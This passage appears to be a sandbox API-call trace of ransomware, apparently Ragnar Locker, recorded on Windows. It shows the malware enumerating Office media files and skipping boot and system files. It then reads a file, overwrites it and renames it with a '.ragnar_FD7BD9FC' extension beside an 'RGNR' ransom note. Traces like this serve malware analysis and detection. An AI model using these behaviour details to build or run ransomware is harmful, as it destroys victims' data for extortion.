ftCreationTime.dwHighDateTime=0x1bf452c, ftLastAccessTime.dwLowDateTime=0xbd68fd60, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xf9b61300, ftLastWriteTime.dwHighDateTime=0x1bf452c, nFileSizeHigh=0x0, nFileSizeLow=0x239c, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0300840.WMF", cAlternateFileName="")) returned 1 [0095.334] lstrcmpiW (lpString1="J0300840.WMF", lpString2=".") returned 1 [0095.334] lstrcmpiW (lpString1="J0300840.WMF", lpString2="..") returned 1 [0095.334] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x616c5e00, ftCreationTime.dwHighDateTime=0x1bf452d, ftLastAccessTime.dwLowDateTime=0xbd68fd60, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x616c5e00, ftLastWriteTime.dwHighDateTime=0x1bf452d, nFileSizeHigh=0x0, nFileSizeLow=0xdafc, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0300912.WMF", cAlternateFileName="")) returned 1 [0095.335] lstrcmpiW (lpString1="J0300912.WMF", lpString2=".") returned 1 [0095.335] lstrcmpiW (lpString1="J0300912.WMF", lpString2="..") returned 1 [0095.335] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfb340b00, ftCreationTime.dwHighDateTime=0x1bf452d, ftLastAccessTime.dwLowDateTime=0xbd68fd60, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xfb340b00, ftLastWriteTime.dwHighDateTime=0x1bf452d, nFileSizeHigh=0x0, nFileSizeLow=0x2fd8, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0301050.WMF", cAlternateFileName="")) returned 1 [0095.335] lstrcmpiW (lpString1="J0301050.WMF", lpString2=".") returned 1 [0095.335] lstrcmpiW (lpString1="J0301050.WMF", lpString2="..") returned 1 [0095.335] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf780800, ftCreationTime.dwHighDateTime=0x1bf452e, ftLastAccessTime.dwLowDateTime=0xbd68fd60, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xf780800, ftLastWriteTime.dwHighDateTime=0x1bf452e, nFileSizeHigh=0x0, nFileSizeLow=0x224e, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0301076.WMF", cAlternateFileName="")) returned 1 [0095.335] lstrcmpiW (lpString1="J0301076.WMF", lpString2=".") returned 1 [0095.335] lstrcmpiW (lpString1="J0301076.WMF", lpString2="..") returned 1 [0095.335] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf91e7c00, ftCreationTime.dwHighDateTime=0x1bf452e, ftLastAccessTime.dwLowDateTime=0xbd68fd60, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xf91e7c00, ftLastWriteTime.dwHighDateTime=0x1bf452e, nFileSizeHigh=0x0, nFileSizeLow=0x953a, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0301252.WMF", cAlternateFileName="")) returned 1 [0095.335] lstrcmpiW (lpString1="J0301252.WMF", lpString2=".") returned 1 [0095.335] lstrcmpiW (lpString1="J0301252.WMF", lpString2="..") returned 1 [0095.335] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5570900, ftCreationTime.dwHighDateTime=0x1bf4530, ftLastAccessTime.dwLowDateTime=0xbd6b5ec0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x5570900, ftLastWriteTime.dwHighDateTime=0x1bf4530, nFileSizeHigh=0x0, nFileSizeLow=0x1f40, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0301480.WMF", cAlternateFileName="")) returned 1 [0095.335] lstrcmpiW (lpString1="J0301480.WMF", lpString2=".") returned 1 [0095.335] lstrcmpiW (lpString1="J0301480.WMF", lpString2="..") returned 1 [0095.335] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xced53d00, ftCreationTime.dwHighDateTime=0x1bf4a9f, ftLastAccessTime.dwLowDateTime=0xbd6b5ec0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xced53d00, ftLastWriteTime.dwHighDateTime=0x1bf4a9f, nFileSizeHigh=0x0, nFileSizeLow=0x5a2b, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0302827.JPG", cAlternateFileName="")) returned 1 [0095.335] lstrcmpiW (lpString1="J0302827.JPG", lpString2=".") returned 1 [0095.335] lstrcmpiW (lpString1="J0302827.JPG", lpString2="..") returned 1 [0095.335] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x33a69b00, ftCreationTime.dwHighDateTime=0x1bf4b65, ftLastAccessTime.dwLowDateTime=0xbd6b5ec0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x33a69b00, ftLastWriteTime.dwHighDateTime=0x1bf4b65, nFileSizeHigh=0x0, nFileSizeLow=0x25c1, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0302953.JPG", cAlternateFileName="")) returned 1 [0095.335] lstrcmpiW (lpString1="J0302953.JPG", lpString2=".") returned 1 [0095.335] lstrcmpiW (lpString1="J0302953.JPG", lpString2="..") returned 1 [0095.335] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfa04dd00, ftCreationTime.dwHighDateTime=0x1bf4531, ftLastAccessTime.dwLowDateTime=0xbd6b5ec0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xfa04dd00, ftLastWriteTime.dwHighDateTime=0x1bf4531, nFileSizeHigh=0x0, nFileSizeLow=0x4d84, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0304933.WMF", cAlternateFileName="")) returned 1 [0095.335] lstrcmpiW (lpString1="J0304933.WMF", lpString2=".") returned 1 [0095.335] lstrcmpiW (lpString1="J0304933.WMF", lpString2="..") returned 1 [0095.335] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3ab12600, ftCreationTime.dwHighDateTime=0x1bf4533, ftLastAccessTime.dwLowDateTime=0xbd6b5ec0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x3ab12600, ftLastWriteTime.dwHighDateTime=0x1bf4533, nFileSizeHigh=0x0, nFileSizeLow=0x5af0, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0305257.WMF", cAlternateFileName="")) returned 1 [0095.335] lstrcmpiW (lpString1="J0305257.WMF", lpString2=".") returned 1 [0095.335] lstrcmpiW (lpString1="J0305257.WMF", lpString2="..") returned 1 [0095.335] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x494c0d00, ftCreationTime.dwHighDateTime=0x1bf4534, ftLastAccessTime.dwLowDateTime=0xbd6b5ec0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x494c0d00, ftLastWriteTime.dwHighDateTime=0x1bf4534, nFileSizeHigh=0x0, nFileSizeLow=0x3372, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0305493.WMF", cAlternateFileName="")) returned 1 [0095.335] lstrcmpiW (lpString1="J0305493.WMF", lpString2=".") returned 1 [0095.335] lstrcmpiW (lpString1="J0305493.WMF", lpString2="..") returned 1 [0095.335] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb8598100, ftCreationTime.dwHighDateTime=0x1bf71c6, ftLastAccessTime.dwLowDateTime=0xbd6dc020, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xb8598100, ftLastWriteTime.dwHighDateTime=0x1bf71c6, nFileSizeHigh=0x0, nFileSizeLow=0x60e4, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0315447.JPG", cAlternateFileName="")) returned 1 [0095.335] lstrcmpiW (lpString1="J0315447.JPG", lpString2=".") returned 1 [0095.335] lstrcmpiW (lpString1="J0315447.JPG", lpString2="..") returned 1 [0095.335] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x653ad300, ftCreationTime.dwHighDateTime=0x1bfaf58, ftLastAccessTime.dwLowDateTime=0xbd6dc020, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x653ad300, ftLastWriteTime.dwHighDateTime=0x1bfaf58, nFileSizeHigh=0x0, nFileSizeLow=0x5168, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0332268.WMF", cAlternateFileName="")) returned 1 [0095.335] lstrcmpiW (lpString1="J0332268.WMF", lpString2=".") returned 1 [0095.335] lstrcmpiW (lpString1="J0332268.WMF", lpString2="..") returned 1 [0095.335] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x666c0000, ftCreationTime.dwHighDateTime=0x1bfaf58, ftLastAccessTime.dwLowDateTime=0xbd6dc020, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x666c0000, ftLastWriteTime.dwHighDateTime=0x1bfaf58, nFileSizeHigh=0x0, nFileSizeLow=0x47c2, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0332364.WMF", cAlternateFileName="")) returned 1 [0095.335] lstrcmpiW (lpString1="J0332364.WMF", lpString2=".") returned 1 [0095.336] lstrcmpiW (lpString1="J0332364.WMF", lpString2="..") returned 1 [0095.336] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc5ca1000, ftCreationTime.dwHighDateTime=0x1bfaf58, ftLastAccessTime.dwLowDateTime=0xbd6dc020, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xc5ca1000, ftLastWriteTime.dwHighDateTime=0x1bfaf58, nFileSizeHigh=0x0, nFileSizeLow=0x1f64, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0335112.WMF", cAlternateFileName="")) returned 1 [0095.336] lstrcmpiW (lpString1="J0335112.WMF", lpString2=".") returned 1 [0095.336] lstrcmpiW (lpString1="J0335112.WMF", lpString2="..") returned 1 [0095.336] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2c046200, ftCreationTime.dwHighDateTime=0x1bfaf5c, ftLastAccessTime.dwLowDateTime=0xbd6dc020, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x2c046200, ftLastWriteTime.dwHighDateTime=0x1bfaf5c, nFileSizeHigh=0x0, nFileSizeLow=0xce9a, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0336075.WMF", cAlternateFileName="")) returned 1 [0095.336] lstrcmpiW (lpString1="J0336075.WMF", lpString2=".") returned 1 [0095.336] lstrcmpiW (lpString1="J0336075.WMF", lpString2="..") returned 1 [0095.336] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8b0bce20, ftCreationTime.dwHighDateTime=0x1d5e0db, ftLastAccessTime.dwLowDateTime=0x8b0bce20, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e638060, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0xf59, dwReserved0=0x0, dwReserved1=0x0, cFileName="RGNR_FD7BD9FC.txt", cAlternateFileName="RGNR_F~1.TXT")) returned 1 [0095.336] lstrcmpiW (lpString1="RGNR_FD7BD9FC.txt", lpString2=".") returned 1 [0095.336] lstrcmpiW (lpString1="RGNR_FD7BD9FC.txt", lpString2="..") returned 1 [0095.336] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8b0bce20, ftCreationTime.dwHighDateTime=0x1d5e0db, ftLastAccessTime.dwLowDateTime=0x8b0bce20, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e638060, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0xf59, dwReserved0=0x0, dwReserved1=0x0, cFileName="RGNR_FD7BD9FC.txt", cAlternateFileName="RGNR_F~1.TXT")) returned 0 [0095.336] FindClose (in: hFindFile=0x5a1328 | out: hFindFile=0x5a1328) returned 1 [0095.336] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\*.*", lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeec79e70, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x8b0bce20, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x8b0bce20, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5a1328 [0095.336] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeec79e70, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x8b0bce20, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x8b0bce20, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0095.336] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeec79e70, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x8b0e2f80, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x8b0e2f80, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 1 [0095.336] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf2162900, ftCreationTime.dwHighDateTime=0x1ca9120, ftLastAccessTime.dwLowDateTime=0x51b925d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf2162900, ftLastWriteTime.dwHighDateTime=0x1ca9120, nFileSizeHigh=0x0, nFileSizeLow=0x3da0, dwReserved0=0x0, dwReserved1=0x0, cFileName="CAGCAT10.DLL", cAlternateFileName="")) returned 1 [0095.336] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x38 [0095.336] lstrcpyW (in: lpString1=0x1eb62a, lpString2="CAGCAT10.DLL" | out: lpString1="CAGCAT10.DLL") returned="CAGCAT10.DLL" [0095.336] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\CAGCAT10.DLL") returned=".DLL" [0095.336] lstrcmpiW (lpString1="CAGCAT10.DLL", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0095.336] lstrcmpiW (lpString1="CAGCAT10.DLL", lpString2="autorun.inf") returned 1 [0095.336] lstrcmpiW (lpString1="CAGCAT10.DLL", lpString2="boot.ini") returned 1 [0095.336] lstrcmpiW (lpString1="CAGCAT10.DLL", lpString2="bootfont.bin") returned 1 [0095.336] lstrcmpiW (lpString1="CAGCAT10.DLL", lpString2="bootsect.bak") returned 1 [0095.336] lstrcmpiW (lpString1="CAGCAT10.DLL", lpString2="bootmgr") returned 1 [0095.336] lstrcmpiW (lpString1="CAGCAT10.DLL", lpString2="bootmgr.efi") returned 1 [0095.336] lstrcmpiW (lpString1="CAGCAT10.DLL", lpString2="bootmgfw.efi") returned 1 [0095.336] lstrcmpiW (lpString1="CAGCAT10.DLL", lpString2="desktop.ini") returned -1 [0095.336] lstrcmpiW (lpString1="CAGCAT10.DLL", lpString2="iconcache.db") returned -1 [0095.336] lstrcmpiW (lpString1="CAGCAT10.DLL", lpString2="ntldr") returned -1 [0095.337] lstrcmpiW (lpString1="CAGCAT10.DLL", lpString2="ntuser.dat") returned -1 [0095.337] lstrcmpiW (lpString1="CAGCAT10.DLL", lpString2="ntuser.dat.log") returned -1 [0095.337] lstrcmpiW (lpString1="CAGCAT10.DLL", lpString2="ntuser.ini") returned -1 [0095.337] lstrcmpiW (lpString1="CAGCAT10.DLL", lpString2="thumbs.db") returned -1 [0095.337] lstrcmpiW (lpString1=".DLL", lpString2=".db") returned 1 [0095.337] lstrcmpiW (lpString1=".DLL", lpString2=".sys") returned -1 [0095.337] lstrcmpiW (lpString1=".DLL", lpString2=".dll") returned 0 [0095.337] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x130a0400, ftCreationTime.dwHighDateTime=0x1c07b1f, ftLastAccessTime.dwLowDateTime=0x60120f70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x130a0400, ftLastWriteTime.dwHighDateTime=0x1c07b1f, nFileSizeHigh=0x0, nFileSizeLow=0x603d8, dwReserved0=0x0, dwReserved1=0x0, cFileName="CAGCAT10.MMW", cAlternateFileName="")) returned 1 [0095.337] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x38 [0095.337] lstrcpyW (in: lpString1=0x1eb62a, lpString2="CAGCAT10.MMW" | out: lpString1="CAGCAT10.MMW") returned="CAGCAT10.MMW" [0095.337] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\CAGCAT10.MMW") returned=".MMW" [0095.337] lstrcmpiW (lpString1="CAGCAT10.MMW", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0095.337] lstrcmpiW (lpString1="CAGCAT10.MMW", lpString2="autorun.inf") returned 1 [0095.337] lstrcmpiW (lpString1="CAGCAT10.MMW", lpString2="boot.ini") returned 1 [0095.337] lstrcmpiW (lpString1="CAGCAT10.MMW", lpString2="bootfont.bin") returned 1 [0095.337] lstrcmpiW (lpString1="CAGCAT10.MMW", lpString2="bootsect.bak") returned 1 [0095.337] lstrcmpiW (lpString1="CAGCAT10.MMW", lpString2="bootmgr") returned 1 [0095.337] lstrcmpiW (lpString1="CAGCAT10.MMW", lpString2="bootmgr.efi") returned 1 [0095.337] lstrcmpiW (lpString1="CAGCAT10.MMW", lpString2="bootmgfw.efi") returned 1 [0095.337] lstrcmpiW (lpString1="CAGCAT10.MMW", lpString2="desktop.ini") returned -1 [0095.337] lstrcmpiW (lpString1="CAGCAT10.MMW", lpString2="iconcache.db") returned -1 [0095.337] lstrcmpiW (lpString1="CAGCAT10.MMW", lpString2="ntldr") returned -1 [0095.337] lstrcmpiW (lpString1="CAGCAT10.MMW", lpString2="ntuser.dat") returned -1 [0095.337] lstrcmpiW (lpString1="CAGCAT10.MMW", lpString2="ntuser.dat.log") returned -1 [0095.337] lstrcmpiW (lpString1="CAGCAT10.MMW", lpString2="ntuser.ini") returned -1 [0095.337] lstrcmpiW (lpString1="CAGCAT10.MMW", lpString2="thumbs.db") returned -1 [0095.337] lstrcmpiW (lpString1=".MMW", lpString2=".db") returned 1 [0095.337] lstrcmpiW (lpString1=".MMW", lpString2=".sys") returned -1 [0095.337] lstrcmpiW (lpString1=".MMW", lpString2=".dll") returned 1 [0095.337] lstrcmpiW (lpString1=".MMW", lpString2=".lnk") returned 1 [0095.337] lstrcmpiW (lpString1=".MMW", lpString2=".msi") returned -1 [0095.337] lstrcmpiW (lpString1=".MMW", lpString2=".drv") returned 1 [0095.337] lstrcmpiW (lpString1=".MMW", lpString2=".exe") returned 1 [0095.337] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\CAGCAT10.MMW" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\cagcat10.mmw")) returned 0x20 [0095.338] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\CAGCAT10.MMW" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\cagcat10.mmw"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0x104 [0095.338] GetFileSizeEx (in: hFile=0x104, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=394200) returned 1 [0095.338] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x603cf, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0095.338] GetProcessHeap () returned 0x580000 [0095.338] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0095.338] ReadFile (in: hFile=0x104, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0095.340] VirtualAlloc (lpAddress=0x0, dwSize=0x603d8, flAllocationType=0x3000, flProtect=0x4) returned 0x21c0000 [0095.340] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0095.340] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0095.340] ReadFile (in: hFile=0x104, lpBuffer=0x21c0000, nNumberOfBytesToRead=0x603d8, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x21c0000*, lpNumberOfBytesRead=0x1eaf34*=0x603d8, lpOverlapped=0x0) returned 1 [0095.347] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0095.349] LockFile (hFile=0x104, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x603d8, nNumberOfBytesToLockHigh=0x0) returned 1 [0095.349] WriteFile (in: hFile=0x104, lpBuffer=0x21c0000*, nNumberOfBytesToWrite=0x603d8, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x21c0000*, lpNumberOfBytesWritten=0x1eaf30*=0x603d8, lpOverlapped=0x0) returned 1 [0095.351] UnlockFile (hFile=0x104, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x603d8, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0095.351] VirtualFree (lpAddress=0x21c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0095.352] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x603d8, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0095.353] LockFile (hFile=0x104, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0095.353] WriteFile (in: hFile=0x104, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0095.353] WriteFile (in: hFile=0x104, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0095.353] WriteFile (in: hFile=0x104, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0095.353] UnlockFile (hFile=0x104, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0095.353] GetProcessHeap () returned 0x580000 [0095.353] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0095.353] CloseHandle (hObject=0x104) returned 1 [0095.353] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\CAGCAT10.MMW" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\CAGCAT10.MMW") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\CAGCAT10.MMW" [0095.353] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\CAGCAT10.MMW", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\CAGCAT10.MMW.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\CAGCAT10.MMW.ragnar_FD7BD9FC" [0095.353] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\CAGCAT10.MMW" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\cagcat10.mmw"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\CAGCAT10.MMW.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\cagcat10.mmw.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0095.354] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x11ec5600, ftCreationTime.dwHighDateTime=0x1bd4c14, ftLastAccessTime.dwLowDateTime=0xbd180ea0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x11ec5600, ftLastWriteTime.dwHighDateTime=0x1bd4c14, nFileSizeHigh=0x0, nFileSizeLow=0x585a, dwReserved0=0x0, dwReserved1=0x0, cFileName="ELPHRG01.WAV", cAlternateFileName="")) returned 1 [0095.354] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\*.*", nBufferLength=0x104, 